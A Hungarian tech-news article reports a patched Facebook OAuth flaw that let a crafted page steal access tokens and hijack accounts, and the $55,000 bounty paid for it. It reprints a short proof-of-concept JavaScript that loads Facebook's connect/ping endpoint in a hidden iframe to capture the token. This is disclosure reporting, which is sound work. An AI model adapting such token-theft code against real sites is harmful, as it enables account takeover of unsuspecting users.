Skip to content

Hydroxy.hu

Hírek, cikkek, vélemények az informatika világából

  • Kezdőlap
  • Hírszemle
  • Cikkek
  • Játékfejlesztés
  • Érdekességek
  • Gondolatok
  • Pszichológia
  • IT Security

Tíz éve a Facebook bejelentkezésben lévő hiba 55,000 dolláros jutalmat ért

2020.03.12. Kovács Nándor IT Security
Ha tetszett, oszd meg ismerőseiddel!

Amol Baikar indiai kiberbiztonsági szakértő fedezett fel tavaly decemberben egy, a “Bejelentkezés Facebook-kal” funkcióban, több mint 10 éve rejlő hibát a bug bounty program keretén belül, ami számára az eddigi legnagyobb kifizetett összeget jelentette: 55,000 dollár ütötte markát a hiba felfedezéséért.

Facebook OAuth Vulnerability.
$55,000 Bounty Awarded by Facebook.

Writeup:https://t.co/MpVgyUSQqQ#Facebook #Security #BugBounty

— Amol Baikar (@AmolBaikar) March 1, 2020

A “Bejelentkezés Facebook-kal” hiba kihasználása esetén a támadó egy megfelelően előkészített weboldal segítségével ellophatta az ACCESS_TOKEN-t, és teljesen átvehette az áldozat Facebook profilja felett az uralmat.

Az OAuth 2.0 technológia lehetővé teszi, hogy az ACCES_TOKEN segítségével információ cserélődjön a Facebook és harmadik félhez tartozó weboldalak között. Jó ideje ezt használja már a Facebook, de más szolgáltatások is.

A sebezhetőség kihasználásával nem csak a Facebook profil felett volt átvehető az irányítás, de olyan nagy szolgáltatások is érintettek, mint az Instagram, a Netflix, a Tinder, a Spotify, az Oculus.

Ha a támadó sikeresen megszerezte az access token-t, onnantól kezdve szabadon posztolhatott az áldozat üzenőfalára, írhatott üzenetet a nevében, hozzáférhetett a képekhez, videókhoz.

Hogyan történt a támadás?

Két feltétel kellett a támadás végrehajtásához:

  1. Kihagyni az X-Frame-Options beállítást a headerből
  2. Egy extra window.parent hozzáadásával a felhasználónak nem kellett semmit se tennie az oldalon, csupán elég volt azt megnyitnia

Ennek köszönhetően az elsődleges access token kiszivároghatott az áldozat tudta nélkül is.

var app_id = '124024574287414',
app_domain = 'www.instagram.com';

var exploit_url = 'https://www.facebook.com/connect/ping?client_id=' + app_id + '&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F7SWBAvHenEn.js%3Fversion%3D44%23origin%3Dhttps%253A%252F%252F' + app_domain;

var i = document.createElement('iframe');
i.setAttribute('id', 'i');
i.setAttribute('style', 'display:none;');
i.setAttribute('src', exploit_url);
document.body.appendChild(i);

window.addEventListener('OAuth', function(FB) {
  alert(FB.data.name);
}, !1);
https://www.youtube.com/watch?v=-2__22lnFhg&feature=emb_title

A hibát a Facebook már javította, de mivel több, mint tíz éve jelen volt a rendszerben így nincs kizárva, hogy támadók esetleg kihasználták a sebezhetőséget. Mindenesetre azt javasolják, hogy aki biztosra szeretne menni, az változtasson jelszót az érintett szolgáltatásokon, és jelentkezzen ki az összes eszközről.

Forrás


Ha tetszett, oszd meg ismerőseiddel!

Ezek a bejegyzések is érdekelhetnek

  1. Két egyetemista a MOSÓGÉPEKBEN talált biztonsági rést
  2. Na ilyen zsarolóvírust még biztosan nem láttunk
  3. Veszélyeket rejtenek a Google új .zip és .mov domain végződései
  4. A biztonsági hibák hajszolása őrületbe kergeti a nyílt forráskódú projektek fejlesztőit
biztonságbountybugfacebookkiberbiztonságloginsebezhetőségvulnerability

Bejegyzés navigáció

Previous Post:Szinte az összes APACHE TOMCAT verzió érintett az új sebezhetőségben – GHOSTCAT
Next Post:Sütitolvaj Android kártevőn keresztül vehetik át az uralmat a Facebook profilunk felett

Kiemelt bejegyzések

Miért nem termék az, amit az AI tíz perc alatt összedob?
Gondolatok

Miért nem termék az, amit az AI tíz perc alatt összedob?

2026.06.18.
Több, mint évek: A senior szemléletmód alapjai
Cikkek Pszichológia

Több, mint évek: A senior szemléletmód alapjai

2025.06.06.
Hogyan ne legyél libapásztor? – Programozói karrierbiztosítás az AI korszakában
Cikkek Gondolatok

Hogyan ne legyél libapásztor? – Programozói karrierbiztosítás az AI korszakában

2025.06.01.
Hogyan érts meg gyorsan bármilyen kódbázist?
Cikkek

Hogyan érts meg gyorsan bármilyen kódbázist?

2025.06.01.
Hogyan legyél te is gonosz UI-tervező? – Sötét praktikák a felhasználók elijesztésére
Pszichológia

Hogyan legyél te is gonosz UI-tervező? – Sötét praktikák a felhasználók elijesztésére

2025.06.01.
Kognitív csapdák a szoftverfejlesztésben
Cikkek Pszichológia

Kognitív csapdák a szoftverfejlesztésben

2025.05.31.
SOLID elvek érthetően: 5 alapelv, amivel jobb fejlesztő lehetsz
Cikkek

SOLID elvek érthetően: 5 alapelv, amivel jobb fejlesztő lehetsz

2025.05.31.
Ezeket a tervezési mintákat minden fejlesztőnek ismernie kell
Cikkek

Ezeket a tervezési mintákat minden fejlesztőnek ismernie kell

2025.05.30.
Ami a netre felkerül az ott is marad?
Gondolatok

Ami a netre felkerül az ott is marad?

2024.07.01.
Mi az a no-code / low-code fejlesztés?
Cikkek

Mi az a no-code / low-code fejlesztés?

2022.06.15.
WordPress Theme: Tortuga by ThemeZee.
🍪 A weboldal sütiket használ. Az oldal használatával automatikusan elfogadod ezeket. További részletek